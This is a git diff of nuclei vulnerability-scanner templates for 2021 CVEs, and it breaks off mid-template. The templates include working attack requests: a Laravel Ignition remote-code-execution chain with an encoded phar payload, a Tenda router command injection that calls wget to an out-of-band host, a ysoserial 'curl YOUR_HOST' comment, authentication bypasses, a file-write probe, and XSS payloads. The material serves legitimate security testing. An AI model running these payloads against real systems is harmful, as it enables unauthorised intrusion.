b/nuclei-templates/CVE-2021/cve-2021-3129.yaml @@ -0,0 +1,85 @@ +id: CVE-2021-3129 + +info: + name: Laravel <= v8.4.2 Debug Mode - Remote Code Execution + author: z3bd,pdteam + severity: critical + description: Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2. + reference: + - https://www.ambionics.io/blog/laravel-debug-rce + - https://github.com/vulhub/vulhub/tree/master/laravel/CVE-2021-3129 + tags: cve,cve2021,laravel,rce + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-3129 + +requests: + - raw: + - | + POST /_ignition/execute-solution HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + Content-Type: application/json + + {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}} + + - | + POST /_ignition/execute-solution HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + Content-Type: application/json + + {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}} + + - | + POST /_ignition/execute-solution HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + Content-Type: application/json + + {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "AA"}} + + - | + POST /_ignition/execute-solution HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + Content-Type: application/json + + {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=4C=00=41=00=51=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=41=00=41=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=45=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=56=00=6D=00=46=00=73=00=61=00=57=00=52=00=68=00=64=00=47=00=6C=00=76=00=62=00=6C=00=78=00=57=00=59=00=57=00=78=00=70=00=5A=00=47=00=46=00=30=00=62=00=33=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=6D=00=56=00=34=00=64=00=47=00=56=00=75=00=63=00=32=00=6C=00=76=00=62=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=77=00=4F=00=69=00=49=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=6A=00=6F=00=69=00=63=00=33=00=6C=00=7A=00=64=00=47=00=56=00=74=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=33=00=4D=00=36=00=4D=00=6A=00=6F=00=69=00=61=00=57=00=51=00=69=00=4F=00=33=00=30=00=46=00=41=00=41=00=41=00=41=00=5A=00=48=00=56=00=74=00=62=00=58=00=6B=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=49=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=43=00=35=00=30=00=65=00=48=00=51=00=45=00=41=00=41=00=41=00=41=00=58=00=73=00=7A=00=6F=00=59=00=41=00=51=00=41=00=41=00=41=00=41=00=4D=00=66=00=6E=00=2F=00=59=00=70=00=41=00=45=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=7A=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=51=00=63=00=4A=00=39=00=59=00=36=00=5A=00=6B=00=50=00=61=00=39=00=61=00=45=00=49=00=51=00=49=00=45=00=47=00=30=00=6B=00=4A=00=2B=00=39=00=4A=00=50=00=6B=00=4C=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"}} + + - | + POST /_ignition/execute-solution HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + Content-Type: application/json + + {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}} + + - | + POST /_ignition/execute-solution HTTP/1.1 + Host: {{Hostname}} + Accept: application/json + Content-Type: application/json + + {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "phar://../storage/logs/laravel.log/test.txt"}} + + matchers-condition: and + matchers: + - type: status + status: + - 500 + + - type: word + words: + - "uid=" + - "gid=" + - "groups=" + - "Illuminate" + part: body + condition: and + + extractors: + - type: regex + regex: + - "(u|g)id=.*" diff --git a/nuclei-templates/CVE-2021/cve-2021-31755.yaml b/nuclei-templates/CVE-2021/cve-2021-31755.yaml deleted file mode 100644 index 5b079c43b2..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-31755.yaml +++ /dev/null @@ -1,33 +0,0 @@ -id: CVE-2021-31755 - -info: - name: Tenda Router AC11 RCE - description: Vulnerabilities in the web-based management interface of enda Router AC11 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device. - author: gy741 - severity: critical - reference: - - https://github.com/Yu3H0/IoT_CVE/tree/main/Tenda/CVE_3 - - https://www.fortinet.com/blog/threat-research/the-ghosts-of-mirai - tags: cve,cve2021,tenda,rce,oast,router,mirai - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2021-31755 - cwe-id: CWE-787 - -requests: - - raw: - - | - POST /goform/setmac HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Referer: {{BaseURL}}/index.htmlr - Content-Type: application/x-www-form-urlencoded - - module1=wifiBasicCfg&doubleBandUnityEnable=false&wifiTotalEn=true&wifiEn=true&wifiSSID=Tenda_B0E040&mac=wget+http://{{interactsh-url}}&wifiSecurityMode=WPAWPA2%2FAES&wifiPwd=Password12345&wifiHideSSID=false&wifiEn_5G=true&wifiSSID_5G=Tenda_B0E040_5G&wifiSecurityMode_5G=WPAWPA2%2FAES&wifiPwd_5G=Password12345&wifiHideSSID_5G=false&module2=wifiGuest&guestEn=false&guestEn_5G=false&guestSSID=Tenda_VIP&guestSSID_5G=Tenda_VIP_5G&guestPwd=&guestPwd_5G=&guestValidTime=8&guestShareSpeed=0&module3=wifiPower&wifiPower=high&wifiPower_5G=high&module5=wifiAdvCfg&wifiMode=bgn&wifiChannel=auto&wifiBandwidth=auto&wifiMode_5G=ac&wifiChannel_5G=auto&wifiBandwidth_5G=auto&wifiAntijamEn=false&module6=wifiBeamforming&wifiBeaformingEn=true&module7=wifiWPS&wpsEn=true&wanType=static - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" diff --git a/nuclei-templates/CVE-2021/cve-2021-31862.yaml b/nuclei-templates/CVE-2021/cve-2021-31862.yaml deleted file mode 100644 index 8a939781cb..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-31862.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2021-31862 - -info: - name: SysAid - Reflected XSS - author: jas37 - description: SysAid 20.4.74 allows XSS via the KeepAlive.jsp stamp parameter without any authentication. - severity: medium - tags: cve,cve2021,xss,sysaid - reference: - - https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md - - https://nvd.nist.gov/vuln/detail/CVE-2021-31862 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-31862 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E' - - matchers: - - - type: dsl - dsl: - - '(body == "false ")' - - 'status_code == 200' - condition: and \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-32030.yaml b/nuclei-templates/CVE-2021/cve-2021-32030.yaml new file mode 100644 index 0000000000..5918a5c871 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-32030.yaml @@ -0,0 +1,41 @@ +id: CVE-2021-32030 + +info: + name: ASUS GT-AC2900 - Authentication Bypass + author: gy741 + severity: critical + description: The administrator application on ASUS GT-AC2900 devices before 3.0.0.4.386.42643 allows authentication bypass when processing remote input from an unauthenticated user, leading to unauthorized access to the administrator interface. This relates to handle_request in router/httpd/httpd.c and auth_check in web_hook.o. An attacker-supplied value of '\0' matches the device's default value of '\0' in some situations. + reference: https://www.atredis.com/blog/2021/4/30/asus-authentication-bypass + tags: cve,cve2021,asus,auth-bypass,router + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-32030 + cwe-id: CWE-287 + +requests: + - raw: + - | + GET /appGet.cgi?hook=get_cfg_clientlist() HTTP/1.1 + Host: {{Hostname}} + User-Agent: asusrouter-- + Referer: {{BaseURL}} + Cookie: asus_token=\0Invalid; clickedItem_tab=0 + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - application/json + + - type: word + words: + - "get_cfg_clientlist" + - "alias" + - "model_name" + condition: and diff --git a/nuclei-templates/CVE-2021/cve-2021-32172.yaml b/nuclei-templates/CVE-2021/cve-2021-32172.yaml deleted file mode 100644 index 06a2dbdc96..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-32172.yaml +++ /dev/null @@ -1,56 +0,0 @@ -id: CVE-2021-32172 - -info: - name: Maian Cart 3.8 preauth RCE - author: pdteam - severity: critical - description: A severe vulnerability has been kindly reported to me by security advisor DreyAnd. The issue concerns the elFinder file manager plugin in Maian Cart and it affects all versions from 3.0 to 3.8. - reference: - - https://dreyand.github.io/maian-cart-rce/ - - https://github.com/DreyAnd/maian-cart-rce - - https://www.maianscriptworld.co.uk/critical-updates - - https://nvd.nist.gov/vuln/detail/CVE-2021-32172 - tags: cve,cve2021,rce,unauth,maian - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2021-32172 - cwe-id: CWE-862 - -requests: - - raw: - - | - GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name={{randstr}}.php&target=l1_Lw HTTP/1.1 - Host: {{Hostname}} - Accept: */* - - - | - POST /admin/index.php?p=ajax-ops&op=elfinder HTTP/1.1 - Host: {{Hostname}} - Accept: application/json, text/javascript, /; q=0.01 - Accept-Language: en-US,en;q=0.5 - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - - cmd=put&target={{hash}}&content=%3c%3fphp%20echo%20%22{{randstr_1}}%22%3b%20%3f%3e - - - | - GET /product-downloads/{{randstr}}.php HTTP/1.1 - Host: {{Hostname}} - Accept: */* - - extractors: - - type: regex - name: hash - internal: true - group: 1 - regex: - - '"hash"\:"(.*?)"\,' - - - req-condition: true - matchers: - - type: dsl - dsl: - - 'contains(body_3, "{{randstr_1}}")' - - "status_code_3 == 200" - condition: and diff --git a/nuclei-templates/CVE-2021/cve-2021-32618.yaml b/nuclei-templates/CVE-2021/cve-2021-32618.yaml new file mode 100644 index 0000000000..1b6f758626 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-32618.yaml @@ -0,0 +1,28 @@ +id: CVE-2021-32618 + +info: + name: Flask Open Redirect + author: 0x_Akoko + severity: medium + description: There is code in FS to validate that the url specified in the next parameter is either relative OR has the same netloc (network location) as the requesting URL. This check utilizes Pythons urlsplit library. However many browsers are very lenient on the kind of URL they accept and 'fill in the blanks' when presented with a possibly incomplete URL. As a concrete example - setting http://login?next=\\\github.com will pass FS's relative URL check however many browsers will gladly convert this to http://example.com. + reference: + - https://github.com/Flask-Middleware/flask-security/security/advisories/GHSA-6qmf-fj6m-686c + - https://github.com/Flask-Middleware/flask-security/issues/486 + - https://nvd.nist.gov/vuln/detail/CVE-2021-32618 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-32618 + cwe-id: CWE-601 + tags: cve,cve2021,redirect,flask + +requests: + - method: GET + path: + - '{{BaseURL}}/login?next=\\\example.com' + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-32682.yaml b/nuclei-templates/CVE-2021/cve-2021-32682.yaml deleted file mode 100644 index 5467595d82..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-32682.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2021-32682 - -info: - name: elFinder - Multiple vulnerabilities leading to RCE - author: smaranchand - severity: critical - tags: cve,cve2021,elfinder,misconfig,rce,oss - description: elFinder is an open-source file manager for web, written in JavaScript using jQuery UI. Several vulnerabilities affect elFinder 2.1.58. These vulnerabilities can allow an attacker to execute arbitrary code and commands on the server hosting the elFinder PHP connector, even with minimal configuration. The issues were patched in version 2.1.59. As a workaround, ensure the connector is not exposed without authentication. - reference: - - https://smaranchand.com.np/2022/01/organization-vendor-application-security/ - - https://blog.sonarsource.com/elfinder-case-study-of-web-file-manager-vulnerabilities - - https://github.com/Studio-42/elFinder/security/advisories/GHSA-wph3-44rj-92pr - - https://nvd.nist.gov/vuln/detail/CVE-2021-32682 - remediation: Update to elFinder 2.1.59 - metadata: - github: https://github.com/Studio-42/elFinder - -requests: - - method: GET - path: - - "{{BaseURL}}/admin/elfinder/elfinder-cke.html" - - "{{BaseURL}}/assets/backend/elfinder/elfinder-cke.html" - - "{{BaseURL}}/assets/elFinder-2.1.9/elfinder.html" - - "{{BaseURL}}/assets/elFinder/elfinder.html" - - "{{BaseURL}}/backend/elfinder/elfinder-cke.html" - - "{{BaseURL}}/elfinder/elfinder-cke.html" - - "{{BaseURL}}/uploads/assets/backend/elfinder/elfinder-cke.html" - - "{{BaseURL}}/uploads/assets/backend/elfinder/elfinder.html" - - "{{BaseURL}}/uploads/elfinder/elfinder-cke.html" - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - words: - - "elfinder" - - "php/connector" - condition: and - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2021/CVE-2021-32820.yaml b/nuclei-templates/CVE-2021/cve-2021-32820.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-32820.yaml rename to nuclei-templates/CVE-2021/cve-2021-32820.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-32853.yaml b/nuclei-templates/CVE-2021/cve-2021-32853.yaml new file mode 100644 index 0000000000..66208ed18d --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-32853.yaml @@ -0,0 +1,38 @@ +id: CVE-2021-32853 + +info: + name: Erxes <= v0.23.0 XSS + author: dwisiswant0 + severity: medium + description: Erxes prior to version 0.23.0 is vulnerable to cross-site scripting.The value of topicID parameter is not escaped & triggered in the enclosing script tag. + reference: + - https://securitylab.github.com/advisories/GHSL-2021-103-erxes/ + - https://nvd.nist.gov/vuln/detail/CVE-2021-3285 + metadata: + shodan-query: http.title:"erxes" + classification: + cve-id: CVE-2021-32853 + tags: cve,cve2021,xss,erxes,oss + +requests: + - method: GET + path: + - "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'topic_id: "' + - "window.erxesEnv" + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2021/cve-2021-33044.yaml b/nuclei-templates/CVE-2021/cve-2021-33044.yaml new file mode 100644 index 0000000000..59c60d4854 --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-33044.yaml @@ -0,0 +1,54 @@ +id: CVE-2021-33044 + +info: + name: Dahua IPC/VTH/VTO devices Authentication Bypass + author: gy741 + severity: critical + description: The identity authentication bypass vulnerability found in some Dahua products during the login process. Attackers can bypass device identity authentication by constructing malicious data packets. + reference: + - https://github.com/dorkerdevil/CVE-2021-33044 + - https://nvd.nist.gov/vuln/detail/CVE-2021-33044 + - https://seclists.org/fulldisclosure/2021/Oct/13 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-33044 + cwe-id: CWE-287 + tags: dahua,cve,cve2021,auth-bypass + +requests: + - raw: + - | + POST /RPC2_Login HTTP/1.1 + Host: {{Hostname}} + Accept: application/json, text/javascript, */*; q=0.01 + Connection: close + X-Requested-With: XMLHttpRequest + Content-Type: application/x-www-form-urlencoded; charset=UTF-8 + Origin: {{BaseURL}} + Referer: {{BaseURL}} + + {"id": 1, "method": "global.login", "params": {"authorityType": "Default", "clientType": "NetKeyboard", "loginType": "Direct", "password": "Not Used", "passwordType": "Default", "userName": "admin"}, "session": 0} + + matchers-condition: and + matchers: + + - type: status + status: + - 200 + + - type: word + part: body + words: + - '"result":true' + - 'id' + - 'params' + - 'session' + condition: and + + extractors: + - type: regex + group: 1 + part: body + regex: + - ',"result":true,"session":"([a-z]+)"\}' diff --git a/nuclei-templates/CVE-2021/CVE-2021-3374.yaml b/nuclei-templates/CVE-2021/cve-2021-3374.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-3374.yaml rename to nuclei-templates/CVE-2021/cve-2021-3374.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-3378.yaml b/nuclei-templates/CVE-2021/cve-2021-3378.yaml deleted file mode 100644 index 80215a832b..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-3378.yaml +++ /dev/null @@ -1,57 +0,0 @@ -id: CVE-2021-3378 - -info: - name: FortiLogger Unauthenticated Arbitrary File Upload - author: dwisiswant0 - severity: critical - reference: https://erberkan.github.io/2021/cve-2021-3378/ - description: | - This template detects an unauthenticated arbitrary file upload - via insecure POST request. It has been tested on version 4.4.2.2 in - Windows 10 Enterprise. - tags: cve,cve2021,fortilogger,fortigate,fortinet - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2021-3378 - cwe-id: CWE-434 - -requests: - - raw: - - | - POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS - Accept: application/json - Referer: {{BaseURL}} - Connection: close - X-Requested-With: XMLHttpRequest - - ------WebKitFormBoundarySHHbUsfCoxlX1bpS - Content-Disposition: form-data; name="file"; filename="poc.txt" - Content-Type: image/png - - POC_TEST - - ------WebKitFormBoundarySHHbUsfCoxlX1bpS - - - | - GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "POC_TEST" - part: body - - - type: word - words: - - "text/plain" - - "ASP.NET" - condition: and - part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-33904.yaml b/nuclei-templates/CVE-2021/cve-2021-33904.yaml deleted file mode 100644 index 1e62c84265..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-33904.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2021-33904 - -info: - name: Accela Civic Platform 21.1 - 'servProvCode' XSS - author: geeknik - description: In Accela Civic Platform through 21.1, the security/hostSignon.do parameter servProvCode is vulnerable to XSS. - reference: https://www.exploit-db.com/exploits/49980 - severity: medium - tags: cve,cve2021,accela,xss - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-33904 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - "{{BaseURL}}/security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9" - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "text/html" - - - type: word - words: - - '"k3woq"^confirm(document.domain)^"a2pbrnzx5a9"' - - 'servProvCode' - condition: and - - - type: status - status: - - 200 \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/cve-2021-34370.yaml b/nuclei-templates/CVE-2021/cve-2021-34370.yaml deleted file mode 100644 index bfc7221009..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-34370.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2021-34370 - -info: - name: Accela Civic Platform 21.1 - Open Redirect & XSS - author: 0x_Akoko - severity: medium - description: Accela Civic Platform Cross-Site-Scripting and Open Redirect <= 21.1 - reference: - - https://www.exploit-db.com/exploits/49990 - - https://nvd.nist.gov/vuln/detail/CVE-2021-34370 - - https://www.accela.com/civic-platform/ - tags: xss,redirect,cve,cve2021,accela - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-34370 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - "{{BaseURL}}/ssoAdapter/logoutAction.do?servProvCode=SAFVC&successURL=https://example.com/" - - matchers: - - type: regex - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' - part: header diff --git a/nuclei-templates/CVE-2021/cve-2021-35464.yaml b/nuclei-templates/CVE-2021/cve-2021-35464.yaml new file mode 100644 index 0000000000..a7800fd3ac --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-35464.yaml @@ -0,0 +1,45 @@ +id: CVE-2021-35464 + +info: + author: madrobot + name: Pre-auth RCE in ForgeRock OpenAM + description: | + ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages. + The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted + /ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO) + found in versions of Java 8 or earlier + severity: critical + tags: cve,cve2021,openam,rce,java + reference: + - https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2021-35464 + cwe-id: CWE-502 + +requests: + - method: GET + path: + - '{{BaseURL}}/openam/oauth2/..;/ccversion/Version' + + # '{{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=' + # java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '=' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "Set-Cookie: JSESSIONID=" + part: header + + - type: word + words: + - "Version Information -" + - "openam/ccversion/Masthead.jsp" + part: body + condition: or diff --git a/nuclei-templates/CVE-2021/cve-2021-35587.yaml b/nuclei-templates/CVE-2021/cve-2021-35587.yaml deleted file mode 100644 index 45458baebe..0000000000 --- a/nuclei-templates/CVE-2021/cve-2021-35587.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2021-35587 - -info: - name: Pre-auth RCE in Oracle Access Manager - author: cckuailong - description: | - Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: OpenSSO Agent). Supported versions that are affected are 11.1.2.3.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager. Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. - severity: critical - reference: - - https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316 - - https://nvd.nist.gov/vuln/detail/CVE-2021-35587 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2021-35587 - cwe-id: CWE-502 - metadata: - fofa-query: body="/oam/pages/css/login_page.css" - tags: cve,cve2021,oam,rce,java,unauth,oracle - -requests: - - method: GET - path: - - '{{BaseURL}}/oam/server/opensso/sessionservice' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - words: - - "x-oracle-dms-ecid" - - "x-oracle-dms-rid" - condition: or - case-insensitive: true - - - type: word - part: body - words: - - "/oam/pages/css/general.css" \ No newline at end of file diff --git a/nuclei-templates/CVE-2021/CVE-2021-36380.yaml b/nuclei-templates/CVE-2021/cve-2021-36380.yaml similarity index 100% rename from nuclei-templates/CVE-2021/CVE-2021-36380.yaml rename to nuclei-templates/CVE-2021/cve-2021-36380.yaml diff --git a/nuclei-templates/CVE-2021/cve-2021-36450.yaml b/nuclei-templates/CVE-2021/cve-2021-36450.yaml new file mode 100644 index 0000000000..9b1384b83b --- /dev/null +++ b/nuclei-templates/CVE-2021/cve-2021-36450.yaml @@ -0,0 +1,73 @@ +id: CVE-2021-36450 + +info: + name: Verint Workforce Optimization 15.2.8.10048 - Cross-Site Scripting + author: atomiczsec + severity: medium + description: Verint Workforce Optimization 15.2.8.10048 contains a cross-site scripting vulnerability via the control/my_notifications NEWUINAV parameter. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. + remediation: | + Apply the latest security patch or upgrade to a non-vulnerable version of Verint Workforce Optimization. + reference: + - https://medium.com/@1nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740 + - https://sushantvkamble.blogspot.com/2021/11/cross-site-scripting-xss.html + - http://verint.com + - https://nvd.nist.gov/vuln/detail/CVE-2021-36450 + - https://medium.com/%401nf0sk/cve-2021-36450-cross-site-scripting-xss-6f5d8d7db740 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-36450 + cwe-id: CWE-79 + epss-score: 0.00229 + epss-percentile: 0.61111 + cpe: cpe:2.3:a:verint:workforce_optimization:15.2.8.10048:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 2 + vendor: verint + product: workforce_optimization + shodan-query: title:"Verint Sign-in" + tags: cve2021,cve,xss,verint + +http: + - raw: + - | + GET /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3C%2Fh1%3E26 HTTP/1.1 + Host: {{Hostname}} + - | + POST /wfo/control/signin?rd=%2Fwfo%2Fcontrol%2Fmy_notifications%3FNEWUINAV%3D%22%3E%3Ch1%3ETest%3Ch1%3E%26 HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + browserCheckEnabled=true&username=admin&language=en_US&defaultHttpPort=80&screenHeight=1080&screenWidth=1920&pageModelType=0&pageDirty=false&pageAction=Login&csrfp_login={{csrfp_login}} + + host-redirects: true + max-redirects: 2 + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '">

    Test

